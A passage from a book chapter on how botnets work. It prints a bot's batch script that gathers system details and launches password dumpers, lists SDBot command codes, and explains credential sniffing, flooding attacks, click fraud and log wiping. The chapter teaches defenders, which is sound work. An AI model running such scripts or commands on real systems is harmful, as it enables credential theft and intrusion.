Running....\n--*>>info.txt\necho *---------------------------------------------------------------\n----*>>info.txt\nfport.exe /ap >>info.txt\necho *---------------------------------------------------------------\n----*>>info.txt\necho *--List of Current Running/Stopped Services..\n--*>>info.txt\necho *---------------------------------------------------------------\n----*>>info.txt\nxnet.exe list >>info.txt\necho *---------------------------------------------------------------\n----*>>info.txt\necho *--List of Whois Info..\n--*>>info.txt\necho *---------------------------------------------------------------\n----*>>info.txt\necho *--\nLista uruchomionych procesów\n--*>>info.txt\nwww.syngress.com\nBotnets Overview • Chapter 2\n39\nContinued\n" }, { "page_number": 58, "text": "echo *---------------------------------------------------------------\n----*>>info.txt\npslist.exe >>info.txt\necho *---------------------------------------------------------------\n----*>>info.txt\nPassword.exe >>info.txt\necho *---------------------------------------------------------------\n----*>>uptime.txt\nuptime.exe /s>>uptime.txt\necho *---------------------------------------------------------------\n----*>>uptime.txt\nhidden32.exe find.bat\necho *---------------------------------------------------------------\n----*>>info.txt\nrkdetector.exe >>rk.txt\nhidden32.exe pass.bat\nhidden32.exe pwdump2.bat\ncls\necho Whoami >> info.txt\necho. >> info.txt\necho Computer Name= %COMPUTERNAME% >> info.txt\necho Login Name=\n%USERNAME% >> info.txt\necho Login Domain=\n%USERDOMAIN% >> info.txt\necho Logon Server=\n%LOGONSERVER% >> info.txt\necho. >> info.txt\necho Home Drive=\n%HOMEDRIVE% >> info.txt\necho Home Share=\n%HOMESHARE% >> info.txt\necho System Drive=\n%SYSTEMDRIVE% >> info.txt\necho System Root=\n%SYSTEMROOT% >> info.txt\necho Win Directory= %WINDIR% >> info.txt\necho User Profile Path= %USERPROFILE% >> info.txt\necho. >> info.txt\necho Groups user belongs to: >> info.txt\necho. >> info.txt\n.\\whoami.exe /user /groups /fo list >> info.txt\nwww.syngress.com\n40\nChapter 2 • Botnets Overview\nContinued\n" }, { "page_number": 59, "text": "iplist.exe >> info.txt\nFHS.exe >> info.txt\nThe botnet also took the opportunity to start its rootkit detector and hide\nand launch the password collection programs.\nWaiting for Orders \nand Retrieving the Payload\nOnce secured, the botnet client will listen to the C&C communications\nchannel. In this overview, we are describing botnets that are controlled using\nIRC channels. In the following chapter we will describe alternative C&C\ntechnologies.\nEach botnet family has a set of commands that it supports. For example\nthe SDBot supports the commands in Table 2.1, among others (adapted from\nthe Know Your Enemy series,“Tracking Botnets—Botnet Commands” by the\nHoneynet Project).\nTable 2.1 Botnet Command Examples\nFunction \nCommand Code \nRecruiting\n(scanall|sa)\n(scanstats|stats)\nscandel [port|method] —[method] can be one\nof a list of exploits including lsass, mydoom,\nDameWare, etc.\nscanstop\n(advscan|asc) [port|method] [threads] [delay]\n[minutes]\nDownloading and updating (update|up) [url] [botid]\n(download|dl) [url] [[runfile?]] [[crccheck]]\n[[length]]\nExecute programs locally\n(execute|e) [path]\n(findfile|ff) filename\n(rename|mv) [from] [to] \nwww.syngress.com\nBotnets Overview • Chapter 2\n41\nContinued\n" }, { "page_number": 60, "text": "Table 2.1 continued Botnet Command Examples\nFunction \nCommand Code \nfindfilestopp \nDDoS\nsyn [ip] [port] [seconds|amount] [sip] [sport]\n[rand]\nudp [host] [num] [size] [delay] [[port]]size)\nping [host] [num] [size] [delay]num\nThere are more details about IRC C&C in Chapter 8.\nThe botnet client will then request the associated payload.The payload is\nthe term I give the software representing the intended function of this botnet\nclient. Note from the diagram in Figure 2.1 that the function can change at\nany time.This is the beauty of a modular design. Updates can be sent prior to\nthe execution of any assigned task.The primary function of the botnet client\ncan be changed simply by downloading new payload software, designating the\ntarget(s), scheduling the execution, and the desired duration of the action.The\nnext few paragraphs will describe some of these potential payloads.\nWhat Does a Botnet Do? \nA botnet is a collection of networked computers.They can do anything you\ncan imagine doing with a collection of networked computers.The next few\ntopics describe some of the uses of botnets that have been documented to\ndate.\nRecruit Others\nThe most basic thing each botclient does is to recruit other potential bot-\nclients.The botclient may scan for candidate systems. Rbot, for example,\nexploits Windows shares in password guessing or brute force attacks so its\nbotclients scan for other systems that have ports 139 or 445 open, using tools\nlike smbscan.exe, ntscan.exe, or scan500.exe. It also used the net command\n(net view /DOMAIN and net view /DOMAIN:) to list\nNetBIOS names of potential candidate clients.\nwww.syngress.com\n42\nChapter 2 • Botnets Overview\n" }, { "page_number": 61, "text": "The botclient may be equipped to sniff network traffic for passwords.The\nclients use small, specialized password grabbers that collect only enough of the\ntraffic to grab the username and password data.They may harvest encrypted\nforms of passwords in the SAM cache using a program like pwdump2, 3, or 4\nand use SAM password crackers like Lopht Crack to break them. For some\nencrypted password data, they reformat the password data into a UNIX-like\npassword file and send it to another, presumably faster, computer to brute\nforce.\nWhen the botherder discovers a botclient that uses encrypted traffic to a\nserver, he or she may include a tool, such as Cain and Abel, to perform man-\nin-the-middle (MITM) attacks as part of the payload. In the MITM attack\n(see Figure 2.2), the botclient convinces other computers on its subnet that it\nis actually the default gateway through Arp cache poisoning, and then relays\nany data it receives to the actual gateway.\nFigure 2.2 Arp Cache Poisoning for MITM Attacks\nwww.syngress.com\nBotnets Overview • Chapter 2\n43\n" }, { "page_number": 62, "text": "At the time of this writing, Cain included the capabilities to sniff all traffic\nfrom the subnet outbound, intercept and decrypt (through the MITM attack)\nSSH-1, HTTPS, RDP, and others, as well as searching for and cracking pass-\nwords in caches and files on the host computer. See the following sidebar for\na list of the output files collected by the hacker tool Cain and ABEL. What’s\nthat? You don’t run SSH-1? That’s okay; Cain will negotiate with your clients\nto get them to switch to SSH-1.The CERT.lst file contains copies of fake\nCerts Cain creates on the fly when a workstation tries to go to a Web site\nthat uses Certificates.The VOIP file is interesting in that it contains the\nnames of .wav files containing actual conversations it recorded. For a detailed\ndescription of cracking password files with Cain, see www.rainbowtables.net/\ntutorials/cryptanalisys.php. Rainbowtables.net is a Web site that sells addi-\ntional rainbow tables for use with Cain. Rainbow tables are tables of already\ncracked hashes.According to the Rainbowtables.net Web site, using their\ntables and others on the Internet “it is possible to crack almost any password\nunder 15 characters using a mixed alphanumeric combination with symbols\nfor LM, NTLM, PIX Firewall, MD4, and MD5.”Their market spiel says,\n“hackers have them and so should you.”\nAre You Owned?\nCain Collection Files\nCain uses the following collection files:\n■80211.LST\n■APOP-MD5.LST\n■APR.LST\n■CACHE.LST\n■CCDU.LST\n■CERT.LST\n■CRAM-MD5.LST\n■DICT.LST\nwww.syngress.com\n44\nChapter 2 • Botnets Overview\nContinued\n" }, { "page_number": 63, "text": "■DRR.LST\n■FTP.LST\n■HOSTS.LST\n■HTTP.LST\n■HTTPS.LST\n■HTTP_PASS_FIELDS.LST\n■HTTP_USER_FIELDS.LST\n■ICQ.LST\n■IKE-PSK.LST\n■IKEPSKHashes.LST\n■IMAP.LST\n■IOS-MD5.LST\n■K5.LST\n■KRB5.LST\n■LMNT.LST\n■MD2.LST\n■MD4.LST\n■MD5.LST\n■MSSQLHashes.LST\n■MySQL.LST\n■MySQLHashes.LST\n■NNTP.LST\n■NTLMv2.LST\n■ORACLE.LST\n■OSPF-MD5.LST\n■PIX-MD5.LST\n■POP3.LST\n■PWLS.LST\n■QLIST.LST\n■RADIUS.LST\n■RADIUS_SHARED_HASHES.LST\n■RADIUS_USERS.LST\nwww.syngress.com\nBotnets Overview • Chapter 2\n45\nContinued\n" }, { "page_number": 64, "text": "■RDP.LST\n■RIP-MD5.LST\n■RIPEMD-160.LST\n■SHA-1.LST\n■SHA-2.LST\n■SIP.LST\n■SIPHASHES.LST\n■SMB.LST\n■SMTP.LST\n■SNMP.LST\n■SSH-1.LST\n■TDS.LST\n■TELNET.LST\n■VNC-3DES.LST\n■VNC.LST\n■VoIP.LST\n■VRRP-HMAC.LST\nDDoS\nThe earliest malicious use of a botnet was to launch Distributed Denial of\nService attacks against competitors, rivals, or people who annoyed the both-\nerder.You can see a typical botnet DDoS attack in Figure 2.3.The sidebar,“A\nSimple Botnet” in Chapter 1 describes the play-by-play for the DDoS.The\nactual DDoS attack could involve any one of a number of attack technolo-\ngies, for example TCP Syn floods or UDP floods.\nIn order to understand how a TCP Syn Flood works you first have to\nunderstand the TCP connection handshake.TCP is a connection-oriented\nprotocol. In order to establish a connection,TCP sends a starting synchroniza-\ntion (SYN) message that establishes an initial sequence number.The receiving\nparty acknowledges the request by returning the SYN message and also\nincludes an acknowledgement message for the initial SYN.The sending party\nwww.syngress.com\n46\nChapter 2 • Botnets Overview\n" }, { "page_number": 65, "text": "increments the acknowledgment number and sends it back to the receiver.\nFigure 2.4 illustrates the TCP three-way handshake.\nFigure 2.3 A DDoS Attack\nFigure 2.4 A TCP Connection Handshake\nwww.syngress.com\nBotnets Overview • Chapter 2\n47\n" }, { "page_number": 66, "text": "Figure 2.5 illustrates a SYN Flood attack.A SYN flood attacker sends just\nthe SYN messages without replying to the receiver’s response.The TCP speci-\nfication requires the receiver to allocate a chunk of memory called a control\nblock and wait a certain length of time before giving up on the connection. If\nthe attacker sends thousands of SYN messages the receiver has to queue up\nthe messages in a connection table and wait the required time before clearing\nthem and releasing any associated memory. Once the buffer for storing these\nSYN messages is full, the receiver may not be able to receive any more TCP\nmessages until the required waiting period allows the receiver to clear out\nsome of the SYNs.A SYN flood attack can cause the receiver to be unable to\naccept any TCP type messages, which includes Web traffic, FTP,Telnet, SMTP,\nand most network applications.\nFigure 2.5 SYN Flood Example\nOther DDoS attacks include:\n■\nUDP Flood. In a UDP Flood attack, the attacker sends a large\nnumber of small UDP packets, sometimes to random diagnostic ports\n(chargen, echo, daytime, etc.), or possibly to other ports. Each packet\nrequires processing time, memory, and bandwidth. If the attacker\nsends enough packets, then the victim’s computer is unable to receive\nlegitimate traffic.\nwww.syngress.com\n48\nChapter 2 • Botnets Overview\nSYN\nSYN\nSYN\nSYN\nSYN\nSYNACK\nSYNACK\nSYNACK\nSYNACK\nBot Client Spoofing\nComputer B’s Address\nComputer A\nComputer B\nWaiting for Response to SYNACK\nWaiting for Response to SYNACK\nWaiting for Response to SYNACK\nWaiting for Response to SYNACK\nWaiting for Response to SYNACK\nWaiting for Response to SYNACK\nWaiting for Response to SYNACK\n" }, { "page_number": 67, "text": "■\nSmurf attack. In a Smurf attack, the attacker floods an ICMP ping\nto a directed broadcast address, but spoofs the return IP address,\nwhich traditionally might be the IP address of a local Web server.\nWhen each targeted computer responds to the ping they send their\nreplies to the Web server, causing it to be overwhelmed by local mes-\nsages. Smurf attacks are easy to block these days by using ingress fil-\nters at routers that check to make sure external IP source addresses\ndo not belong to the inside network. If a spoofed packet is detected,\nit is dropped at the border router. However given that hackers may\nhave subverted 50000 remote hosts and not care about spoofing IP\naddresses, they can easily be replicated with TCP SYN or UDP\nflooding attacks aimed at a local Web server.\nInstallation of Adware and Clicks4Hire\nThe first criminal case involving a botnet went to trial in November 2005.\nJeanson James Ancheta (a.k.a. Resili3nt), age 21, of Downey, California, was\nconvicted and sentenced to five years in jail for conspiring to violate the\nComputer Fraud Abuse Act, conspiring to violate the CAN-SPAM Act, causing\ndamage to computers used by the federal government in national defense, and\naccessing protected computers without authorization to commit fraud.\nAncheta’s botnet consisted of thousands of zombies. He would sell the use\nof his zombies to other users, who would launch DDoS or send spam. He\nalso used a botnet of more than 400,000 zombies to generate income in a\n“Clicks4Hire scam” (see Figure 2.6) by surreptitiously installing adware for\nwhich he was paid more than $100,000 by advertising affiliate companies.A\nDOJ press release stated that Ancheta was able to avoid detection by varying\nthe download times and rates of the adware installations, as well as by redi-\nrecting the compromised computers between various servers equipped to\ninstall different types of modified adware. For information on how\nClicks4Hire schemes work, read the following sidebar and refer to Figure 2.6.\nCompanies like Dollarrevenue.com and Gimmycash.com pay varying rates for\ninstallation of their adware software in different countries. Companies like\nthese are paying for criminal activity—that is, the intentional installation of\ntheir software on computers without the explicit permission of the owner of\nwww.syngress.com\nBotnets Overview • Chapter 2\n49\n" }, { "page_number": 68, "text": "the computer. Pressure from the FTC caused one of these vendors (180\nSolutions) to terminate 500 of its affiliate agreements for failing to gain user\nacceptance prior to installing their software.This resulted in the DDoS attack\ndescribed in Chapter 1, the involvement of the FBI, and a lawsuit against the\nformer affiliates. It also resulted in 180 Solutions changing its name to Zango.\nFigure 2.6 A Clicks4Hire Botnet Scam\nAre You Owned?\nA Botnet Clicks4Hire Scheme\nOn May 15, 2006, the Internet Storm Center reported another case\nwhere a botnet was being used to scam Google’s Adsense program into\npaying for clicks that were artificially generated (for more information\nsee http://isc.sans.org/diary.php?storyid=1334). Here’s how it worked\n(refer to Figure 2.6 to follow along with this explanation). \nUnder normal circumstances, companies will pay Google for the\nnumber of clicks that are generated from banners on Google Web sites.\nwww.syngress.com\n50\nChapter 2 • Botnets Overview\nContinued\n" }, { "page_number": 69, "text": "Google has relationships with a number of Web site publishers and\npays them a significant portion of the revenue they receive in return\nfor hosting these Google banners. Some of the Web site publishers are\nless than ethical and attempt to find ways to generate their own clicks\nin a way that Google will not detect. Google does some fraud detec-\ntion to prevent this kind of activity. Now, however, unscrupulous Web\nsite publishers are hiring hackers that control botnets to command\ntheir botclients to click on these Adsense banners. The Web site pub-\nlishers then share a portion of the revenue with the botnet controllers.\nIn the hands of a less competent hacker, botnets can cause unintended\ndamage.This was the case with Christopher Maxwell, 20, of Vacaville,\nCalifornia.According to the DOJ press release announcing his conviction, as\nhis botnet searched for additional computers to compromise, it infected the\ncomputer network at Northwest Hospital in Seattle.The increase in computer\ntraffic as the botnet scanned the system interrupted normal hospital computer\ncommunications.These disruptions affected the hospital’s systems in numerous\nways: Doors to the operating rooms did not open, pagers did not work, and\ncomputers in the intensive care unit shut down.\nLast year a set of three Trojans were detected, which worked in sequence\nto create a botnet.The sequence began with a variant of the Bagle mass-\nmailing virus, which dropped one of many variations of the W32.Glieder.AK\nTrojan (see www3.ca.com/securityadvisor/virusinfo/virus.aspx?id=\n43216 for more information).This Trojan attempted to execute prior to virus\nsignatures being in place. It had shut off antivirus software, firewall software,\nand XP’s Security Center service.Then Glieder went through a hard-coded\nlist of URLs to download the W32.Fantibag.A Trojan. Fantibag prevented the\ninfected machine from getting updates from Windows and from communi-\ncating with antivirus vendor sites and downloaded the W32.Mitglieder.CT\nremote access Trojan. Mitglieder established the botclient and joined the\nbotnet. It also may have downloaded a password-stealing Trojan.\nThe Botnet-Spam and Phishing Connection\nHow do spammers and phishers stay in business? As soon as you identify a\nspam source or phishing Web site you blacklist the IP address or contact the\nISP and he’s gone, right? Wrong.Today’s spammers and phishers operate or\nwww.syngress.com\nBotnets Overview • Chapter 2\n51\n" }, { "page_number": 70, "text": "rent botnets. Instead of sending spam from one source, today’s spammers send\nspam from multiple zombies in a botnet. Losing one zombie doesn’t affect the\nflow of spam to any great effect. For a botnet-supported phishing Web site,\nshutting down a phishing Web site only triggers a Dynamic DNS change to\nthe IP address associated with the DNS name. Some bot codebases, such as\nAgobot, include specific commands to facilitate use in support of spamming\noperations.There are commands to harvest e-mails, download a list of e-mails\nprior to spamming, start spamming, and stop spamming.Analyzing the\nheaders of similar spam payloads and phishing attacks may permit investigators\nto begin to discover members of common botnets. Monitoring activity\nbetween these members and the bot server may yield enough information to\ntake the botnet down. Cross-correlation of different kinds of attacks from the\nsame zombie may permit investigators to begin to “follow the money.”\nUsing a botnet, the botherder can set up an automated spam network. Joe\nStewart, a senior security researcher from SecureWorks in Atlanta, Georgia,\nrecently gained access to files from a botnet that was using the SpamThru\nTrojan.The botherders were a well-organized hacker gang in Russia, control-\nling a 73,000 node botnet.An article in the 20 November 2006 issue of e-\nWeek, titled,“Spam Surge Linked to Hackers,” describes Mr. Stewart’s analysis\nfor the masses.The details of this analysis can be found at www.secureworks.\ncom/analysis/spamthru/.\nFigure 2.7 illustrates the SpamThru Trojan.The botnet clients are orga-\nnized into groups of similar processing and network speeds. For example, all\nthe Windows 95 and Windows 98 systems that are connected to dial-up con-\nnections might be assigned to port 2234, and the higher speed XP Pro sys-\ntems connected to High Speed Internet connections might be assigned to\nport 2236.The Russian botherder sends commands through the IRC C&C\nserver to each of the botclients instructing them to obtain the appropriate\ntemplates for the next spam campaign.The botnet client then downloads the\ntemplates and modifies the data from the template every time it transmits an\ne-mail.The template includes text and graphics.To foil the graphics spam\ndetectors, the spam clients modify the size and padding in the graphic images\nfor each message.\nwww.syngress.com\n52\nChapter 2 • Botnets Overview\n" }, { "page_number": 71, "text": "Figure 2.7 The SpamThru Trojan \nThe botnet clients transmit their spam to an e-mail spam proxy for relay.\nBy using a spam proxy instead of sending the spam directly from each bot-\nclient, the spammer protects himself from Relay Black Lists (RBL). Once a\nproxy is listed as being in an RBL it becomes ineffective to whoever uses the\nRBL service, since the point of the RBL is to permit organizations to ignore\ntraffic from known spam sites. Using proxies permits the spammer to replace\nany proxy that is RBL listed with one of the existing clients.They promote\nthe client to a proxy and demote the old proxy back to being a spam engine.\nBy periodically rotating proxy duty sometimes you can avoid being listed by\nan RBL at all. Stewart calculated that the Russian botnet he analyzed was\ntheoretically capable of sending 1billion spam e-mails a day, given that they\nhad enough e-mail addresses and enough varieties of spam to need that many.\nThese calculations assumed five seconds for each SMTP transaction and that\neach e-mail would go to only one recipient.You can group your e-mail dis-\ntribution and send one e-mail to an e-mail server that goes to 100 names on\nwww.syngress.com\nBotnets Overview • Chapter 2\n53\n" }, { "page_number": 72, "text": "a distribution list.You can see that even the estimate of 1 billion spam e-mails\na day is conservative.\nPhishing attacks have been analyzed by the Financial Services Technology\nConsortium (FSTC). Figure 2.8 illustrates a Phishing Operation Taxonomy. It\nis used with the permission of the Financial Services Technology Consortium\n(FSTC) and taken from Understanding and Countering the Phishing Threat, pub-\nlished by the FSTC on 01/31/2005.\nFigure 2.8 FSTC Phishing Attack Taxonomy\nEach heading in Figure 2.8 represents a phase in the life cycle of a\nphishing attack.The entries under each life cycle phase represent actions that\nmay take place during that phase.This phase-based approach allows us to\nexamine activities taken by the botherder/phisher for opportunities to inter-\nvene. Starting from the left, a botherder participating in phishing attacks\nwould plan the attack by selecting the targets (the financial institution, the\nvictim, and which credentials to go after), selecting the ruse or scam to try,\ndeciding how to carry out the scam by choosing a method from the list in\nthe attack phase, and determining what the goal of this fraud will be. In the\nsetup phase, the phisher creates materials (phishing e-mails and Web sites), and\nobtains e-mail addresses of potential victims and sets up the attack machinery\nwww.syngress.com\n54\nChapter 2 • Botnets Overview\n" }, { "page_number": 73, "text": "(botnets, Web pages, template servers, socks proxies). Note that a socks proxy\nis a system that is configured to relay traffic from a specified protocol. It is a\nmore generalized version of a spam proxy.The name socks comes from the\nterm socket, which is the “identification of a port for machine to machine\ncommunications” (RFC 147). Next he launches the attack.The Collection\nphase uses the method chosen to collect the victim’s credentials.The creden-\ntials could be gathered using a Web page, a response to an e-mail, a response\nto an IM, a telephone call, or data collected and transmitted by malware that\nwas downloaded onto the victim’s computer.The fraud phase usually is per-\nformed by a different group of individuals known as cashers.The cashers are\nresponsible for converting the credential information into cash or bartered\ngoods and services.This may involve the casher using the credentials directly,\nselling the credentials to others, or using the credentials to gain access to the\nvictim’s financial accounts. Following the attack, the phisher needs to shut\ndown the phishing attack mechanism, erase the evidence, assess the effective-\nness of the attack, and finally, launder the process.\nStorage and Distribution of \nStolen or Illegal Intellectual Property\nA recent report from the Institute for Policy Innovation, The True Cost of\nMotion Picture Piracy to the US Economy, by Stephen E. Siwek, claims that in\n2005 the Motion Picture industry sustained losses of approximately $2.3 bil-\nlion from Internet Piracy.An army of controlled PCs can also represent a vir-\ntually limitless amount of storage for hackers to hide warez, stolen movies,\ngames, and such. In one case, hackers had established a network of storage\nlocations. For each botclient they had documented the location, amount of\nstorage, and had calculated file transfer speeds to several countries.The files\nwere stored in hidden directories, some in the recycle bin (see Figure 2.9)\nwhere the only visible portion was a folder called “bin.{a long SID-like\nnumber here}.” Note the period after the word bin. Other systems had files\nhidden deep below the Windows/java/trustlib directory.\nwww.syngress.com\nBotnets Overview • Chapter 2\n55\n" }, { "page_number": 74, "text": "Figure 2.9 Files Hidden in the RECYCLER bin Folder\nIncluded in the hidden directories were directories called _toolz, _pub\nand another called sp33d.The botherder also stored stolen intellectual prop-\nerty in the windows uninstall directories for windows patches (see Figure\n2.10), such as the following example:\nc:\\WINDOWS\\$NtUninstallKB867282$\\spuninst\\_tmp\\__\\«««SA©©Ø\nN»»»\\_Pub\nWe were able to track these using our workstation management tool,\nAltiris from Altiris, Inc., by querying managed workstations to see if these\ndirectories were on them.\nwww.syngress.com\n56\nChapter 2 • Botnets Overview\n" }, { "page_number": 75, "text": "Figure 2.10 Hidden Directories for Stolen Intellectual Property\nSome of the files were managed using the distributed ftp daemon\n(Drftpd).The botnet clients run a slave application and take direction from a\nmaster ftp server. Others had only a simple ftp server such as a hacked copy of\nServU Secure from RhinoSoft.com. ServU is able to set up and use virtual\ndirectories, including directories for media on different computers. In addition\nit includes SSL for secure authentication and encryption of transmitted files, a\nbig plus if you are stealing someone else’s intellectual property.\nFigure 2.11 illustrates the use of botnets for selling stolen intellectual\nproperty, in this case Movies,TV shows, or video.The diagram is based on\ninformation from the Pyramid of Internet Piracy created by Motion Picture\nArts Association (MPAA) and an actual case.To start the process, a supplier\nrips a movie or software from an existing DVD or uses a camcorder to record\na first run movie in the theaters.These are either burnt to DVDs to be sold\non the black market or they are sold or provided to a Release Group.The\nRelease Group is likely to be an organized crime group, excuse me, business\nassociates who wish to invest in the entertainment industry. I am speculating\nthat the Release Group engages (hires) a botnet operator that can meet their\ndelivery and performance specifications.The botherder then commands the\nbotnet clients to retrieve the media from the supplier and store it in a partici-\npating botnet client.These botnet clients may be qualified according to the\nsystem processor speed and the nature of the Internet connection.The huge\nInternet pipe, fast connection, and lax security at most universities make them\na prime target for this form of botnet application. MPAA calls these clusters\nof high speed locations “Topsites.”\nwww.syngress.com\nBotnets Overview • Chapter 2\n57\n" }, { "page_number": 76, "text": "Figure 2.11 Botnet Used to Store and Sell Stolen Movies, Games, and\nSoftware\nAccording to the MPAA, 44 percent of all movie piracy is attributed to\ncollege students.Therefore it makes sense that the Release Groups would try\nto use university botnet clients as Topsites.The next groups in the chain are\ncalled Facilitators.They operate Web sites and search engines and act as\nInternet directories.These may be Web sites for which you pay a monthly fee\nor a fee per download. Finally individuals download the films for their own\nuse or they list them via Peer-to-Peer sharing applications like Gnutella,\nBitTorrent for download.\nIn part the motivation for Release Groups to begin to use botnets and\nuniversities may be successful law enforcement efforts over the last few years.\nOperation Buccaneer (2001), Operation Fastlink (2004-ongoing), Operation\nD-Elite (2005-2006), and Operation SiteDown (2005-ongoing) all targeted\nTopsite operators. Operation Buccaneer included raids on computers related\nto MIT, University of Oregon, UCLA, Purdue, and Duke University.The \nwww.syngress.com\n58\nChapter 2 • Botnets Overview\n" }, { "page_number": 77, "text": "universities were not considered targets of the criminal investigations.\nHowever, in each case the courts have ordered the seizure and forfeiture of\nhundreds of computers owned and operated by the Topsite operators. In order\nto limit their losses, I believe that some Topsites have turned to botnets to\nstore their stolen IP instead of investing in their own equipment that may be\nlost if they are caught.\nWARNING\nPiracy can lead to felony convictions and seizure of property. Table 2.2\nlists defendants who have been convicted of various piracy-related\noffenses.\nTable 2.2 Piracy Felons\nWarez Group \nConviction \nDefendant\nNickname\nAffiliations \nDate\nOffense\nSANKUS, John, Jr.\neriFlleH\nDrinkOr Die, Harm Felony\nConspiracy\nPhiladelphia, PA.\nFeb. 27, 2002\nERICKSON, Barry\nRadsl\nRiscISO, \nFelony\nConspiracy\nEugene, OR\nDrinkOrDie, POPZ\nMay 2, 2002\nGRIMES, David A.\nChevelle\nDrinkOrDie, RISC, Felony\nConspiracy\nArlington, TX\nRTS\nMarch 4, 2002\nNAWARA, Stacey\nAvec\nRTS, Razor1911, \nFelony\nConspiracy\nRosenberg, TX\nDrinkOrDie\nMarch 19, 2002\nHUNT, Nathan\nAzide\nCORPS, \nFelony\nConspiracy\nWaterford, PA\nDrinkOrDie\nApril 3, 2002\nPATTANAYEK, Sabuj Buj\nDrinkOrDie, \nFelony\nConspiracy\nDurham, NC\nCORPS, RTS\nApril 11, 2002\nKELLY, Michael\nErupt\nRiSC, AMNESiA, \nFelony\nConspiracy\nMiami, FL\nCORE, DrinkOrDie April 10, 2002\nCLARDY, Andrew\nDoodad\nPOPZ, DrinkOrDie\nFelony\nCriminal copy-\nGalesburg, IL\nApril 4, 2002\nright infringe-\nment and aiding\nand abetting\nwww.syngress.com\nBotnets Overview • Chapter 2\n59\nContinued\n" }, { "page_number": 78, "text": "Table 2.2 continued Piracy Felons\nWarez Group \nConviction \nDefendant\nNickname\nAffiliations \nDate\nOffense\nTRESCO, Christopher BigRar\nRiSC, DrinkorDie\nFelony\nConspiracy\nBoston, MA\nMay 28, 2002\nEISER, Derek\nPsychod\nDrinkOrDie\nFelony\nCriminal\nPhiladelphia, PA\nJune 21, 2002\nCopyright\nInfringement\nNGUYEN, Mike\nHackrat\nRazor1911, RISC\nFelony\nConspiracy\nLos Angeles, CA\nJan. 31, 2002\nKARTADINATA, Kent Tenkuken\nDrinkOrDie\nFelony\nConspiracy\nLos Angeles, CA\nJan. 31, 2002\nBERRY, Richard\nFlood\nPOPZ, DrinkOrDie\nFelony\nConspiracy\nRockville, MD\nApr. 29, 2002\nRIFFE, John\nblue\nSMR, EXODUS\nFelony\nCriminal\nPort St. John, FL\nMay 9, 2002\nCopyright\nInfringement\nGROSS, Robert\ntarget-\nDrinkOrDie\nFelony\nCriminal\nHorsham, PA\npractice\nMay 22, 2002\nCopyright\nInfringement\nCOLE, Myron\nt3rminal\nDrinkOrDie\nFelony\nCriminal\nWarminster, PA\nJuly 10, 2002\nCopyright\nInfringement\nBUCHANAN, \nspaceace\nPOPZ, DrinkOrDie\nFelony\nCriminal \nAnthony\nAugust 19, 2002 Copyright \nEugene, OR\nInfringement\nRansomware\nAs a category this includes any of the ways that hackers may hold a person’s\ncomputer or information hostage. Ransomware, for this book, includes using\na botnet to DDoS a computer or a company until a ransom is paid to make\nthe DOS stop.The hacker may use Paypal or Western Union to arrange for\ndifficult-to-trace money transactions. When a botnet handler realizes they\nhave a computer that might be worth ransoming, they can encrypt important\nfiles and demand a ransom for the key and/or software to decrypt them. Last\nwww.syngress.com\n60\nChapter 2 • Botnets Overview\n" }, { "page_number": 79, "text": "year a DDoS ransom attack was launched to target 180Solutions(now known\nas Zango), a spyware company that tried to go legit. 180Solutions terminated\nover 500 of the company’s affiliates due to their practice of installing the\ncompany’s adware without the knowledge of the user. One group of affiliates\nused the same botnet that had been installing the adware to launch their\nDDoS attack.The company responded by contacting the FBI. With the FBI’s\nhelp they tracked down the operators of the botnet in several countries\naround the world. Once the attackers were known, 180Solutions filed a civil\nsuit against the seven hackers involved in the DDoS attacks.\nData Mining\nThe final payload type we will cover is data mining.This can be added to any\nof the other types of functionality pertaining to botnet clients. For this, the\nbotherder employs tools to gather information from each of the botnet clients\nor their users.They will at a minimum enumerate the users of the computer\nand note which accounts have local administrator accounts.They may collect\nthe Security Accounts Manager (SAM) database or any password cache\nstorage to be broken. Breaking these passwords may take place on the client\nor the information may be reformatted and sent to another computer to have\na password cracking program run against it.\nThe botnet client can be searched for numbers that look like credit card\nnumbers or Social Security Account Numbers (SSANs). Credit card and\nSSAN information can be sold on special Web sites established for that pur-\npose. Some botnets establish keylogger programs that record every keystroke\ntaken on the computer. Later, userIDs and passwords can be harvested from\nthe logs. Recent malicious code has been very precisely targeted. Code has\nbeen found that piggybacks a legitimate user as they login to an e-Gold\naccount. Once in, they initiate an electronic funds transfer and siphon off the\nuser’s money.\nReporting Results\nUsing the Command and Control mechanism, the botclient would report\nresults (when appropriate) back to the C&C server or to a location directed\nby the commands from the botherder. For some of these payloads (spamming,\nwww.syngress.com\nBotnets Overview • Chapter 2\n61\n" }, { "page_number": 80, "text": "Clicks4Hire, etc.), reporting back to the botherder may provide needed data\nto help the botherder know how much to expect to be paid. Reporting also\nlets the botherder know that the bot is ready for another assignment.This\nbrings the botnet client to the beginning of the iterative portion of the life\ncycle. Botnet clients repeat this cycle ad naseum until the botnet client is dis-\ncovered or until the botherder decides to abandon it.\nErase the Evidence, Abandon the Client\nIf the botherder believes that the botclient has been discovered or if a portion\nof the botnet in the same domain has been found or the botclient is no\nlonger suitable (too slow, too old), the botherder may execute a prestaged\ncommand that erases the payload and hacker tools. We’ve observed cases\nwhere the security event logs and antivirus risk histories have been cleared or\nerased.A tool like clearlogs.exe automates the process. Sometimes when the\nbotherder abandons a client, our antivirus tool will pick up several compo-\nnents when the hide capability is turned off. When this happens, the detec-\ntion date reflects their exit date instead of the actual date of infection.\nBotnet Economics\nI have ways of making money that you know nothing of. \n—John D. Rockefeller\nSpam and Phishing Attacks\nMost people can’t understand how anyone could make money sending out\nspam. It is the global scope of the Internet that makes it possible. When\nJeremy Jaynes was arrested as one of the top ten spammers in the world\nauthorities say he earned $750,000 a month selling fake goods, services, and\npornography via spam. Evidence presented during the trial showed that he\nhad made $24 million through various e-mail schemes. For every 30,000 e-\nmails he sent one person bought what he was selling, earning him $40. It is\nestimated that he sent over 10 million e-mails. He was arrested in December\n2003 and convicted in November 2004.\nwww.syngress.com\n62\nChapter 2 • Botnets Overview\n" }, { "page_number": 81, "text": "Christopher Abad provides insight into the phishing economy in an article\npublished online by FirstMonday.org (http://www.firstmonday.org/issues/\nissue10_9/abad/).The article,“The economy of phishing:A survey of the\noperations of the phishing market,” reveals the final phase of the phishing life\ncycle, called cashing.These are usually not the botherders or the phishers.The\nphishers are simply providers of credential goods to the cashers. Cashers buy\nthe credential goods from the phishers, either taking a commission on the\nfunds extracted or earned based on the quality, completeness, which financial\ninstitution it is from, and the victim’s balance in the account.A high-balance,\nverified, full-credential account can be purchased for up to $100. Full creden-\ntials means that you have the credit card number, bank and routing numbers,\nthe expiration date, the security verification code (cvv2) on the back of the\ncard, the ATM pin number, and the current balance. Credit card numbers for\na financial institution selected by the supplier can be bought for 50 cents 